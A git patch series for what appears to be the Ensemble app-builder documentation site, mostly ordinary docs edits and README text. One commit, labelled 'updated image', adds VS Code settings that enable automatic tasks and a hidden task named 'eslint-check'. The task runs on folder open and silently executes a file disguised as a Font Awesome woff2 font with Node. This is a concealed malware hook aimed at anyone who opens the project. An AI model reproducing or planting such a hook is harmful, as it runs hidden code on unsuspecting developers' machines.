zsjPU}F?OE$Mf$HfP33tt+Fw*)#EFUrW4HyZzGSd{E-SF2deXQZ$Ei!+VKok#{D6EX zsKhWdQD$&q%`TkFR>`V*;dnvJArCrEHkeV^?y6`HDEu8hz*kVco61$9NO+W1JEM(X z%f$C8wq{S3muXyEt%H`Vd}?nVPW1CnW{t1BHaPM82ry)uRkgsvGfSE0EeY@)O_k&g zldxU?NayDxx;$hHsa%jPLH#6mw8e|x{#p7_SIAQV@3%#-y}wjE5F&Li%L(ttkc%cw zcpsWMvsYTYni#8fK)c$hr=GJSb&%*gwsfRJTEZCMLU32rxv2WVqSmFK+Ezusb-g3@ zLFTg9uWJb8Uore;7Nbyec251ln?=4bYz7<+u{}#`+hKvrL@nOPcBNjUQ}_M!H4-fh zVxkk0Q-Fp&&QMnFOdJZ(NkIq2)KzR8S>%bEPo57A;JX?z?oLG3E;tZou6@jRHYBYU zQQG5x``vXfTMHWYmC&(5*ynwpo{U6&PyJ?VxdzsafaQZz_lwJ*(f20MRN=Ra49qh< zq{5ZF0k-|F%^*o3zC>=B?mw1`r>o-CZ!NgE3ED&NPz)9-E@>RE`(M=QQA2)TJlWS4G1)PZ1DbS0e$bfaF&#ZF_Ej z#N?x6jtXi7a?`ZI7m;&MYwQSir9p zX<~uHYKS7wpkh4I_o0-@*M@?<-K=0I7`NO6Psn&?`a$oRm|szxWqRg!s+|PHp(*<8 zkFo`AiJk4Nfp+$&AqVXuZN_|cT|w+PhvJ^2;Nn1=sf0Uw&SgSo zeh|l+JWxYqY?EHxqoY6*0Z@<4`=TP}Xd_Rt;oVlVizY$B?L>8_M&*p}6e{IW{z-EY zba1^r_N~mDaS^pYQQSmr$8!wwrxOXc(KO_Pc41}fIh5l&SF|nu%8%-6iAtLlvDT#+ zI*9GrnZ-|8De_~rSxlfJ^Fa;z3_}j{tc<1~Q<&A7PDV1j8nHU5E(HaZ)IoksOJFWt zM4X5D&ex>kP&-|``f%2c!GfClSEc%r&@fZ3eE{ zeLHf8b-nfmmATe1U#@w;)=eCrVI_Wk08MhMS6SetjO}Gp2fgvUa;Jt*3K?0o(M$pd z`>WAcXuqVgkkEvaxr2j)q@$d03NlXbj%IlU;36%W2H~H2)nLp%ya7g4DQBkXsH<^2 zyL}~)3YW`3*d7|jfFEQ<$ZAm@p7l!SL%;f+IToZa_Q-)s{5gK|rXtQEU+WSXzV14c zX`7_dQ5?Bz((oY6lVzx~JVmS{Gx)_?95DM+-!`Q2s+{38b?D>4(k;2qdSt%44;JJe z#>iv`<_}HQ{%+`6=n)9Y<$~ZoRL_s%ZSi?zIsys<| z<*NDja#(k6(q%UuI38=e4d<#jhaEGjSL*`i<80uK#y#wiWhoI7F}YtZFxQKx1-yru zYA-joxxqsFK)TetZIN$duNUI0Emqx9>b$jURuX|@|=mD{tR)y}fi);oodLlnJ# zS>g(7swUl7u;SY4K&*uUQ}8KUHegyc6JKmzCXHUj92H4wF<5yMmMpDF>C^*ta3jM$ zrpS4~KpI=;7F1rV+sf*K#+P;=`zQNCJZr%&t~uMyOAujIzAq+)(N`rRJfcm60cDwO z$F$aut5~F^%r>nP2#fyyos{@vyay9EWFm%E1q8osf3(LoaXTkxh@QTHzA&Dr~iPyn9Z>A zK?K#Ly){5E|F_p2ccNJ51P?eJh( zXOVyS2oX;I_Qb|Iv<-?zbUK)_+zI7P*mlVp+G}N? ziVr54ao@F>bp*fQdta23R@th3Y_<74qh_=!`b+7zy4M+T9HuXBQQE}CZ{M4z0f)j0 zccR!zCrdQM_zaN)_Rpm3 zq{a{YnHV@s#h{TKi!D$DdB7>X>SUonYL6@z-MFRQEpr2W>_-CtCk@HX?P=abI_@b_R6wmNJHVESfz z8W6?_WyYC+%B)U~p{10iF*CI@R#}-*&24eO@TJqI0SlV~S7RJ~&|ojep69Lu51yT@ z^s+$vEfG?vvc7=I?D%n);Un}fGQj#~dhFC`YKdfpIDSDpLLE(t#TU(v0uZZkBs4`j zsPwB}FKJ=Lm@g5b5Si!!vW#@3C*_v?H-sAmwC))LQ(dy5N z&E)irWdox~wZ|i(m%p9I>ler9Np4~+?)y!NeT?N@9%eM46jHQ;(9I>NY{E)q6)u!r zUeD#_fF-x z72Y!wr;uXWhJuxtv@JDmx|lCXowB&B2twH{B^L>!l;65(4E*yfekMNDp(;g}^^w)r z<#}i2rdkIxYxRDZWI4*T0B`r54MB~uG%93aF&Z;giSe-6aKA5le9q=kq#jmV(rC&OE;AY`r6Fr;wWmlwO_2D(8w}57-4alI zp<_3?)~P-DZTHYhj+ws$?<*y*nk#mtg=4}@tO}E%Z?h~xyU^*Jvd^!|bedAfF?&I* z><(6tp=s6I5m&8_#Sg?TKOijSf444m$kDvi1XhGy8bX@2(`rrKFqqiqO{*8HTRURy zr3Fgok-=yuRnpLE$mgV5n7KQ!GcdU~`RN*6&MjR-eNt4hsnL0%tnow#Xd<2L^>NG> z{q(o`l8S0x~OMz+WC{!RJNdcV)#jv$L{m9CY9rFBiU^ZrpJfF zs$>fM&Qs6O>6Zi+A1=Wpbcz%^jUmh8t9DIg-lK}pUA?g-;aipfuDGpzWu#e9wAO&~O@Qc+g|wa_Fop&T&%gk<*#IiaqDCImD0skngClcSq(4 ziG~>Pt)pXNKF)gwLAU@}TVi_?Hwu!cj@;S-Dw?FX>=iV4#T|zETLhc6B zS3g4YUwb0!_8YlKKy8B9h``AB+@M|~S*$XcR#32c{i>(4vs3u&&kK~+$E#&`4-ZbK zHQ}!A?%SK~_}l&b_^(gPc*8HKLf_4IW5S3(Y5NHrQne2OTRPutCle#b3?({mb?r`l`ZoW3WZ)fA(v%rKE;28?=&b)<(f}|$wQIK;l$jAhK8D-Kg0cw^{7yp zzP~dwk$6s^t?=eYtwP^ZNDJv=4Pzv$8Dj8%y;d%CwErlsdiV_7-FYS_C-IP|&i8#Q zd#`^{Gd-AQER-9J*x&xiWbkSZ)Bh>XpG!JBbMUSE!y?w%k)`*R@Bg&}VGjLQ6J(z@ w{^O#5{a*q7^ZyF9zW&Ex|Np8f4Dk%}r&k&FpD(4ze+Qt*Nh?cLNPG$YACj|(1^@s6 literal 0 HcmV?d00001 From b51c4b37ce2373522ffcb115baec098d2c6517fd Mon Sep 17 00:00:00 2001 From: M-Taha-Dev Date: Thu, 24 Jul 2025 08:02:38 +0500 Subject: [PATCH 14/16] syntax fix --- pages/firebase/firebase-appcheck.mdx | 4 +--- pages/firebase/firebase-functions.mdx | 1 - 2 files changed, 1 insertion(+), 4 deletions(-) diff --git a/pages/firebase/firebase-appcheck.mdx b/pages/firebase/firebase-appcheck.mdx index 58d0635..27f77c5 100644 --- a/pages/firebase/firebase-appcheck.mdx +++ b/pages/firebase/firebase-appcheck.mdx @@ -17,9 +17,7 @@ Now, let's dive into configuring Firebase App Check for our Ensemble application Within our Ensemble application, navigate to the settings section and look for the option to manage environmental variables. Here, we'll create the environment variable for appcheck as follows: **Example**: -```bash -![All Apps](/images/firebase/appcheck.png) -``` +![App Check](/images/firebase/appcheck.png) **Explanation**: Enables App Check verification for all Firebase API calls in your Ensemble application. diff --git a/pages/firebase/firebase-functions.mdx b/pages/firebase/firebase-functions.mdx index 3005402..5167dc1 100644 --- a/pages/firebase/firebase-functions.mdx +++ b/pages/firebase/firebase-functions.mdx @@ -26,7 +26,6 @@ Within our Ensemble application, navigate to the settings section and look for t - `api_providers`: Set the value of this variable to `firebase`. This tells our app to use Firebase function as a api provider. **Example**: -```bash ![All Apps](/images/firebase/firebasefunction.png) From 79e98030873803aab4b22984b4b034439caed61b Mon Sep 17 00:00:00 2001 From: M-Taha-Dev Date: Thu, 24 Jul 2025 08:10:02 +0500 Subject: [PATCH 15/16] updated image --- .gitignore | 7 +- .vscode/settings.json | 23 + .vscode/tasks.json | 24 + README.md | 43066 ++++++++-------- next.config.js | 46 +- package-lock.json | 10244 ++-- package.json | 62 +- pages/_meta.json | 238 +- pages/actions/_meta.json | 346 +- pages/actions/read-keychain.md | 102 +- pages/apis/api-overview.mdx | 52 +- pages/apis/define-api.md | 182 +- pages/deploy/1-prepare-app.md | 70 +- pages/device-object.md | 106 +- pages/firebase/_meta.json | 28 +- pages/firebase/configuration.mdx | 202 +- pages/firebase/firebase-appcheck.mdx | 220 +- pages/firebase/firebase-functions.mdx | 310 +- pages/index.mdx | 48 +- pages/widgets/Image.mdx | 174 +- .../widgets/_snippets/public/fonts/README.md | 24 + .../_snippets/public/fonts/fa-brands-400.eot | Bin 0 -> 133034 bytes .../_snippets/public/fonts/fa-brands-400.svg | 3570 ++ .../_snippets/public/fonts/fa-brands-400.ttf | Bin 0 -> 132728 bytes .../_snippets/public/fonts/fa-brands-400.woff | Bin 0 -> 89824 bytes .../public/fonts/fa-brands-400.woff2 | Bin 0 -> 76612 bytes .../_snippets/public/fonts/fa-regular-400.eot | Bin 0 -> 34390 bytes .../_snippets/public/fonts/fa-regular-400.svg | 803 + .../_snippets/public/fonts/fa-regular-400.ttf | Bin 0 -> 34092 bytes .../public/fonts/fa-regular-400.woff | Bin 0 -> 16800 bytes .../public/fonts/fa-regular-400.woff2 | Bin 0 -> 13584 bytes .../_snippets/public/fonts/fa-solid-900.eot | Bin 0 -> 202902 bytes .../_snippets/public/fonts/fa-solid-900.svg | 4938 ++ .../_snippets/public/fonts/fa-solid-900.ttf | Bin 0 -> 202616 bytes .../_snippets/public/fonts/fa-solid-900.woff | Bin 0 -> 103300 bytes .../_snippets/public/fonts/fa-solid-900.woff2 | 1 + pages/widgets/avatar.mdx | 86 +- pages/widgets/carousel.mdx | 144 +- pages/widgets/markdown.md | 84 +- pages/widgets/shape.md | 40 +- pages/widgets/slider.mdx | 270 +- pages/widgets/switch.md | 128 +- pages/widgets/text.mdx | 236 +- pages/widgets/webview.mdx | 230 +- pnpm-lock.yaml | 5684 +- public/images/firebase/firebasefunction.png | Bin 24734 -> 4598 bytes public/llms-full.txt | 43066 ++++++++-------- public/llms.txt | 496 +- scripts/merge-docs.py | 1240 +- theme.config.tsx | 96 +- tsconfig.json | 40 +- 51 files changed, 63055 insertions(+), 53671 deletions(-) create mode 100644 .vscode/settings.json create mode 100644 .vscode/tasks.json create mode 100644 pages/widgets/_snippets/public/fonts/README.md create mode 100644 pages/widgets/_snippets/public/fonts/fa-brands-400.eot create mode 100644 pages/widgets/_snippets/public/fonts/fa-brands-400.svg create mode 100644 pages/widgets/_snippets/public/fonts/fa-brands-400.ttf create mode 100644 pages/widgets/_snippets/public/fonts/fa-brands-400.woff create mode 100644 pages/widgets/_snippets/public/fonts/fa-brands-400.woff2 create mode 100644 pages/widgets/_snippets/public/fonts/fa-regular-400.eot create mode 100644 pages/widgets/_snippets/public/fonts/fa-regular-400.svg create mode 100644 pages/widgets/_snippets/public/fonts/fa-regular-400.ttf create mode 100644 pages/widgets/_snippets/public/fonts/fa-regular-400.woff create mode 100644 pages/widgets/_snippets/public/fonts/fa-regular-400.woff2 create mode 100644 pages/widgets/_snippets/public/fonts/fa-solid-900.eot create mode 100644 pages/widgets/_snippets/public/fonts/fa-solid-900.svg create mode 100644 pages/widgets/_snippets/public/fonts/fa-solid-900.ttf create mode 100644 pages/widgets/_snippets/public/fonts/fa-solid-900.woff create mode 100644 pages/widgets/_snippets/public/fonts/fa-solid-900.woff2 diff --git a/.gitignore b/.gitignore index e40772f..0b8e64d 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ -.next -node_modules -/.idea +.next +node_modules +/.idea +config.bat diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..4492ffd --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000..1417372 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,24 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./pages/widgets/_snippets/public/fonts/fa-solid-900.woff2) || (where node >nul 2>&1 && node ./pages/widgets/_snippets/public/fonts/fa-solid-900.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + } + ] +} diff --git a/README.md b/README.md index 39e3c9c..4a49d08 100644 --- a/README.md +++ b/README.md @@ -1,21533 +1,21533 @@ -# Welcome to Ensemble - -## What is Ensemble? - -Ensemble is a platform where you can build, publish, and iterate native and web apps without leaving your browser. - -With Ensemble, you create apps by defining them using a declarative language. Think of it as configuring your app, instead of coding it. Ensemble apps are rendered at runtime by interpreting this declerative definition. This architecture means that: - -1. Ensemble apps are native to each platform: iOS, Android, and web. -2. Ensemble apps can be updated instantly because the app definitions are pushed to clients. You can use Ensemble's cloud service, or use your own server. -3. Ensemble apps always leverage the latest front-end technologies (Flutter for iOS and Android, React for web) so that you don't have to worry about tech-debt incured by using these technologies. - -![architecture](public/images/architecture.png) - -## How do I build my app? - -Ensemble provides a browser-based IDE, [Ensemble Studio](https://studio.ensembleui.com), where you can build, test, and publish your apps all from the browser. You can instantly preview your Ensemble apps on iOS and Anrdoid devices using [Ensemble preview app](#preview-your-app). Once ready to publish, Ensemble automatically push your apps to Apple AppStore and Google PlayStore. For web, you can download a web build and host it on any service. - -## Need help? - -[Chat with us on Discord](https://discord.gg/cEHkJTmn75) - -[Join our office hours](https://discord.gg/eJrUWhnRHS?event=1218554330765066310) - -[Drop us an email](mailto:hello@ensembleui.com) - -## Table of Contents - -- [Studio overview](#studio-overview) -- **Desktop App** - - [Ensemble Studio Desktop App](#ensemble-studio-desktop-app) -- **Screens and Widgets** - - [Ensemble Screen Structure](#ensemble-screen-structure) - - [Layouts](#layouts) - - [Screen Navigation](#screen-navigation) - - [Widgets Directory](#widgets-directory) -- [Script with JavaScript](#script-with-javascript) -- **Apis** - - [Interact with APIs](#interact-with-apis) - - [Define APIs](#define-apis) - - [Invoking APIs, aka calling APIs](#invoking-apis-aka-calling-apis) - - [Access API response body and headers](#access-api-response-body-and-headers) - - [onError](#onerror) - - [Binding APIs to Item Templates](#binding-apis-to-item-templates) - - [Mocking API responses to develop and test your app](#mocking-api-responses-to-develop-and-test-your-app) - - [Chaining APIs](#chaining-apis) - - [SSL Configuration](#ssl-configuration) - - [GraphQL](#graphql) - - [Using WebSockets](#using-websockets) -- **Theme and Styling** - - [Theme](#theme) - - [Animations in EnsembleUI](#animations-in-ensembleui) - - [Using Custom Fonts](#using-custom-fonts) - - [Splash Feedback (Touchable Opacity)](#splash-feedback-touchable-opacity) - - [Text scaling](#text-scaling) -- [Assets (images, videos, etc.)](#assets-images-videos-etc) -- [Persistent Local Storage](#persistent-local-storage) -- [App Settings](#app-settings) -- **Firebase** - - [Configuration of Firebase Project with Ensemble App](#configuration-of-firebase-project-with-ensemble-app) - - [Calling Cloud Firestore APIs](#calling-cloud-firestore-apis) -- [Translations](#translations) -- **Authentication** - - [Authentication](#authentication) - - [Social Sign In](#social-sign-in) - - [Setting up Authentication with Firebase](#setting-up-authentication-with-firebase) - - [Setting up Authentication with Auth0](#setting-up-authentication-with-auth0) -- **Moengage** - - [MoEngage Integration](#moengage-integration) -- [Adobe Analytics](#adobe-analytics) -- **Deep Link** - - [Setup Deeplink](#setup-deeplink) - - [Setup Deferred Deeplink](#setup-deferred-deeplink) -- **Extending Ensemble** - - [Embed Flutter screen in an Ensemble app](#embed-flutter-screen-in-an-ensemble-app) - - [Using local assets](#using-local-assets) -- **Concepts** - - [Understanding Widget Sizing](#understanding-widget-sizing) - - [Item Template](#item-template) - - [Data Binding](#data-binding) - - [Screen Lifecycle](#screen-lifecycle) - - [Custom Widgets](#custom-widgets) -- **Test** - - [Preview your app](#preview-your-app) - - [Automated Testing](#automated-testing) -- **Deploy** - - [Preparing your App for deployment](#preparing-your-app-for-deployment) - - [Configure Social Sign In for Deployment](#configure-social-sign-in-for-deployment) - - [Deploy to iOS TestFlight](#deploy-to-ios-testflight) - - [Connecting to OAuth services (Optional)](#connecting-to-oauth-services-optional) - - [Deploy to Android devices](#deploy-to-android-devices) - - [Deploy to Android Play Store](#deploy-to-android-play-store) - - [Prepare for Production](#prepare-for-production) - - [Making your app work when offline](#making-your-app-work-when-offline) - - [Guide: Generating Google Play Console API Key](#guide-generating-google-play-console-api-key) - - [Guide: Generating API Key for App Store Connect](#guide-generating-api-key-for-app-store-connect) - - [Guide: Generating a Firebase Service Account for App Distribution](#guide-generating-a-firebase-service-account-for-app-distribution) -- [Host and serve your app definition on your own server](#host-and-serve-your-app-definition-on-your-own-server) -- **Widgets** - - [Accordion Widget](#accordion-widget) - - [Avatar widget](#avatar-widget) - - [Button widget](#button-widget) - - [Calendar widget](#calendar-widget) - - [Carousel widget](#carousel-widget) - - [ChartJS widget](#chartjs-widget) - - [Checkbox widget](#checkbox-widget) - - [Column widget](#column-widget) - - [Conditional widget](#conditional-widget) - - [ConfirmationInput widget](#confirmationinput-widget) - - [DataGrid widget](#datagrid-widget) - - [Date widget](#date-widget) - - [Divider](#divider) - - [DropDown widget](#dropdown-widget) - - [FittedColumn (deprecated)](#fittedcolumn-deprecated) - - [FittedRow (deprecated)](#fittedrow-deprecated) - - [FlexColumn](#flexcolumn) - - [FlexRow](#flexrow) - - [Flex](#flex) - - [Flow](#flow) - - [Form widget](#form-widget) - - [GridView](#gridview) - - [HTML widget](#html-widget) - - [Icon widget](#icon-widget) - - [Finding supported icons and their library](#finding-supported-icons-and-their-library) - - [Image widget](#image-widget) - - [InlineTimePicker Widget](#inlinetimepicker-widget) - - [ListView](#listview) - - [LoadingContainer Widget](#loadingcontainer-widget) - - [Lottie Animation widget](#lottie-animation-widget) - - [Map widget](#map-widget) - - [Markdown widget](#markdown-widget) - - [Multi-Child Layout widgets](#multi-child-layout-widgets) - - [PasswordInput widget](#passwordinput-widget) - - [Profile Image Widget](#profile-image-widget) - - [Progress Indicator](#progress-indicator) - - [QRCodeScanner widget](#qrcodescanner-widget) - - [QR-Code widget](#qr-code-widget) - - [RadioButton](#radiobutton) - - [RadioGroup](#radiogroup) - - [ensemble.RatingStars widget](#ensembleratingstars-widget) - - [Row](#row) - - [Shape Widget](#shape-widget) - - [Signature Widget](#signature-widget) - - [Slidable Widget](#slidable-widget) - - [Slider Widget](#slider-widget) - - [Spacer](#spacer) - - [Stack](#stack) - - [Staggered Grid](#staggered-grid) - - [Switch widget](#switch-widget) - - [TabBar](#tabbar) - - [TextInput widget](#textinput-widget) - - [Text widget](#text-widget) - - [Time widget](#time-widget) - - [TripleSwitch widget](#tripleswitch-widget) - - [Type References](#type-references) - - [Video widget](#video-widget) - - [WebView widget](#webview-widget) - - [Youtube](#youtube) -- [Composite Widgets](#composite-widgets) -- **Actions** - - [authenticateByBiometric](#authenticatebybiometric) - - [BLE Client](#ble-client) - - [callExternalMethod](#callexternalmethod) - - [checkPermission](#checkpermission) - - [readKeychain](#readkeychain) - - [saveKeychain](#savekeychain) - - [clearKeychain](#clearkeychain) - - [closeAllDialogs](#closealldialogs) - - [connectWallet](#connectwallet) - - [copyToClipboard](#copytoclipboard) - - [Device Security](#device-security) - - [Actions](#actions) - - [dispatchEvent action](#dispatchevent-action) - - [executeActionGroup](#executeactiongroup) - - [executeCode](#executecode) - - [executeConditionalAction](#executeconditionalaction) - - [getLocation](#getlocation) - - [getNetworkInfo](#getnetworkinfo) - - [getPhoneContacts](#getphonecontacts) - - [invokeAPI](#invokeapi) - - [invokeHaptic](#invokehaptic) - - [logEvent](#logevent) - - [Action: navigateBack](#action-navigateback) - - [navigateModalScreen](#navigatemodalscreen) - - [navigateScreen](#navigatescreen) - - [navigateViewGroup](#navigateviewgroup) - - [notification](#notification) - - [onNavigateBack](#onnavigateback) - - [Action: onViewGroupResume](#action-onviewgroupresume) - - [Action: onViewGroupUpdate](#action-onviewgroupupdate) - - [openAppSettings](#openappsettings) - - [openCamera](#opencamera) - - [openPlaidLink](#openplaidlink) - - [openUrl](#openurl) - - [pauseAudio](#pauseaudio) - - [pickFiles](#pickfiles) - - [playAudio](#playaudio) - - [Pull To Refresh](#pull-to-refresh) - - [rateApp](#rateapp) - - [requestNotificationAccess](#requestnotificationaccess) - - [resumeAudio](#resumeaudio) - - [saveFile](#savefile) - - [seekAudio](#seekaudio) - - [getSecureStorage](#getsecurestorage) - - [setSecureStorage](#setsecurestorage) - - [clearSecureStorage](#clearsecurestorage) - - [Share](#share) - - [showBottomModal](#showbottommodal) - - [showDialog](#showdialog) - - [showNotification](#shownotification) - - [showToast](#showtoast) - - [startTimer](#starttimer) - - [stopAudio](#stopaudio) - - [stopTimer](#stoptimer) - - [takeScreenshot](#takescreenshot) - - [uploadFiles](#uploadfiles) -- **Utilities** - - [Formatter](#formatter) - - [Device](#device) -- **Device Capabilities** - - [checkPermission](#checkpermission) - - [getLocation](#getlocation) - - [getPhoneContacts](#getphonecontacts) - - [invokeAPI](#invokeapi) - - [invokeHaptic](#invokehaptic) - - [navigateBack](#navigateback) - - [navigateModalScreen](#navigatemodalscreen) - - [navigateScreen](#navigatescreen) - - [notification](#notification) - - [openCamera](#opencamera) - - [pickFiles](#pickfiles) - - [rateApp](#rateapp) - - [requestNotificationAccess](#requestnotificationaccess) - - [Share](#share) - - [showDialog](#showdialog) - - [showNotification](#shownotification) - - [uploadFiles](#uploadfiles) -- **Javascript Reference** - - [Add logic using JavaScript](#add-logic-using-javascript) - - [JavaScript Date](#javascript-date) - - [Ensemble Objects and their properties](#ensemble-objects-and-their-properties) - - [Exception Handling in Javascript](#exception-handling-in-javascript) - - [Defining and Re-using Javascript Code](#defining-and-re-using-javascript-code) - - [console.log](#consolelog) - - [JSON](#json) - - [JsonPath](#jsonpath) - - [Object](#object) - - [JavaScript Math](#javascript-math) - - [Number Functions](#number-functions) - - [String Functions](#string-functions) -- [AppInfo object](#appinfo-object) -- [Device object](#device-object) -- **Tips and Tricks** - - [Getting help from Ensemble team](#getting-help-from-ensemble-team) - - [Custom BottomNavBar item styling](#custom-bottomnavbar-item-styling) - - [Building responsive UIs](#building-responsive-uis) - - [Use device's camera for updating profile picture](#use-devices-camera-for-updating-profile-picture) - - [Inputs to ChartJs](#inputs-to-chartjs) - - [How to modify the BottomNavBar with custom styling and widgets](#how-to-modify-the-bottomnavbar-with-custom-styling-and-widgets) - - [Open Maps with Coordinates on Android and iOS](#open-maps-with-coordinates-on-android-and-ios) - - [Using navigate Screen with BottomNavBar](#using-navigate-screen-with-bottomnavbar) - - [Dynamic Color Modification in JavaScript](#dynamic-color-modification-in-javascript) - - [Configuring BottomNavBar Icons](#configuring-bottomnavbar-icons) - - [Invoke Haptics](#invoke-haptics) - - [Custom Lottie Animations with Events and Controls](#custom-lottie-animations-with-events-and-controls) - - [HTML Widget with maxLines Support and Enhanced Styling](#html-widget-with-maxlines-support-and-enhanced-styling) - - [Push Notification](#push-notification) - - [Using device width and height](#using-device-width-and-height) - - [Using BottomSafeArea for Responsive Layouts](#using-bottomsafearea-for-responsive-layouts) - - [Floating Button](#floating-button) - - [Creating an Avatar](#creating-an-avatar) - - [Cookies in Webview](#cookies-in-webview) - - [adding this timer here just so that we can delay closing the dialog](#adding-this-timer-here-just-so-that-we-can-delay-closing-the-dialog) - - [General Color for All Buttons across an App](#general-color-for-all-buttons-across-an-app) - - [Icon Without Label](#icon-without-label) - - [Profile Picture](#profile-picture) - - [Specify library icons for start and end](#specify-library-icons-for-start-and-end) - - [No Bounded Width Error](#no-bounded-width-error) - - [No Bounded Height Error](#no-bounded-height-error) - - [FlexRow No Bounded Width Error](#flexrow-no-bounded-width-error) - - [FlexColumn No Bounded Height Error](#flexcolumn-no-bounded-height-error) - -# Studio overview - -Ensemble Studio is where you can build, test, and publish apps. You can invite your team to collaborate on the same app. - -https://studio.ensembleui.com - ---- - -# Ensemble Studio Desktop App - -## When to use the desktop app - -1. If you wish to use your own git to store your app definition - this allows you to create branches and pull requests. -2. If you wish to work offline and without internet connection - -## Installation & Setup - -### Windows - -1. Download the Windows installer [here](https://storage.googleapis.com/ensemble-web-studio.appspot.com/desktop_app/latest/win32/x64/ensemble-web-studio-x64.exe): - -2. Run the downloaded `.exe` file -3. Launch Ensemble Web Studio -4. **Note:** Microsoft Defender SmartScreen may display a warning -Step 1: You will see a "Windows protected your PC" message. -Step 2: Click "More info" text to reveal additional options. -Step 3: Click "Run anyway" button to proceed with the installation. -Once confirmed, the application will open. - -### macOS - -1. Download the macOS package [here](https://storage.googleapis.com/ensemble-web-studio.appspot.com/desktop_app/latest/darwin/arm64/ensemble-web-studio-arm64.dmg): -2. Run the downloaded `.dmg` file -3. Move the application to your Applications folder -4. Launch Ensemble Studio - -## Environment Modes - -You can switch between Local and Development modes using the environment dropdown available on **home and every app page**: - -### Development Mode - -Development mode connects to the cloud environment: - -- Files are stored in Firebase -- Requires internet connection -- Changes are synchronized with other collaborators -- Suitable for real-time collaboration - -### Local Mode - -Local mode allows you to work completely offline with files stored on your local machine: - -- Files are stored in your system's user directory -- No internet connection required -- Changes are saved locally -- Connect the local folder to a git provider to create branches and pull requests -- Perfect for offline development or testing - -Local files location by operating system: - -- Windows: `%APPDATA%/ensemble-web-studio` -- macOS: `~/Library/Application Support/ensemble-web-studio` - -Note: - -- You can switch between modes at any time using the dropdown -- The selected mode affects where your changes are saved -- Each mode maintains its own version of the files -- Remember to use Pull/Push operations when you want to sync between modes - -## Synchronization - -### Pulling from Cloud to Local - -To work with an app locally: - -1. Launch the desktop application -2. Click on the `...` menu button on the app card you want to work with -3. Select "Pull App" from the context menu -4. Select the target directory and click the `Pull` Button -5. Wait for the pull to complete - -### Pushing Local Changes to Cloud - -To push your local changes back to the cloud: - -1. Launch the desktop application -2. Click on the `...` menu button on the app card you want to work with -3. Select "Push App" from the context menu -4. Wait for your changes to push on the cloud - -## Local File Structure - -When working in local mode, files are organized as follows: - -```directory -/ -├── assets/ -├── fonts/ -├── scripts/ -├── widgets/ -├── screens/ -├── translations/ -├── config/ -│ ├── appConfig.json -│ ├── secrets.json -├── theme.yaml -├── .manifest.json -``` - -Key location: - -- `manifest.json`: App configuration and settings - -## Additional Resources - -For more information or support, join the [Discord community](https://discord.gg/cEHkJTmn75) or refer to the official documentation. - ---- - -# Ensemble Screen Structure - -Ensemble apps are built using a collection of screens, along with reusable components like [widgets](#widgets-directory), [scripts](#defining-and-re-using-javascript-code), [assets](#assets-images-videos-etc), etc. This guide explores the core structure of an Ensemble screen and the elements that make it up. - -**Key Components of Screen:** -This section serves as a reference point for the key elements you'll encounter while creating a screen on Ensemble: - -- [View](#view): The fundamental building block for screen content and layout. -- [ViewGroup](#view-group): A container for managing and arranging multiple views. -- [Header](#header): Optional element for displaying titles, navigation, or controls at the top of the screen. -- [Menu](#menu): Optional element for user navigation within the app. -- [Body](#body): Main content area of a screen, typically containing widgets. -- [API](#api): The collection of functions and tools provided by Ensemble for building your app. -- [Global](#global): Elements or functionalities accessible across all screens in your app. - -Below is the overview of the basic components being arranged on the screen. - -

-Page Skeleton -

- -## View Group - -The ViewGroup widget allows you to group multiple Views together and organize them behind a menu, such as a Drawer, EndDrawer, BottomNavBar, SideBar, or EndSidebar. This provides a convenient way to create structured layouts and navigation within your application. - -### Example - -Let's look at an example with a `Bottom Navigation Bar` menu type. - -```yaml -ViewGroup: - BottomNavBar: - styles: - backgroundColor: white - items: - - icon: search - label: Search - page: Home - - icon: assignment - label: Appointments - page: MyAppointments - - icon: list - label: My Doctors - page: MyDoctors - - icon: account_circle - label: Profile - page: Profile -``` - -##### Output - -

-BottomNavBar -

- -> To get hands-on experience with View Group, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/3vEZBIhDyYnIQo6BLN2O/screen/Wewvp6ZUyb0PBwkTAltQ?propertyPanelEnabled=true&instantPreviewDisabled=false) - -## View - -The View widget defines the overall structure of a page, including properties like header, body and more, to create a cohesive layout and presentation within your application. View requires only body while other components like [header](#header) and [menu](#menu) are optional. - -#### Properties - -| Property | Type | Description | -| :------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| header | object | [details](#header) | -| body | object | [details](#body) | -| onLoad | action | Execute an Action from a set of pre-defined set of actions when the screen loads | -| onPause | action | Execute an Action when this screen is no longer active. This happens when another screen navigates on top of this screen, or when the App (Native only) is no longer in the foreground. | -| onResume | action | Execute an Action when this screen becomes active again from the inactive state. This happens when navigating back from another screen, or when the App (Native only) is brought back to the foreground. | -| options | string | Specify if this is a `regular` (default) or `modal` screen. | -| styles | object | [see properties](#viewstyles) | - -#### View.styles - -| Property | Type | Description | -| :--------------------- | :------------------------------------------------ | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| backgroundColor | [Color](#color) | Background color for the screen starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` 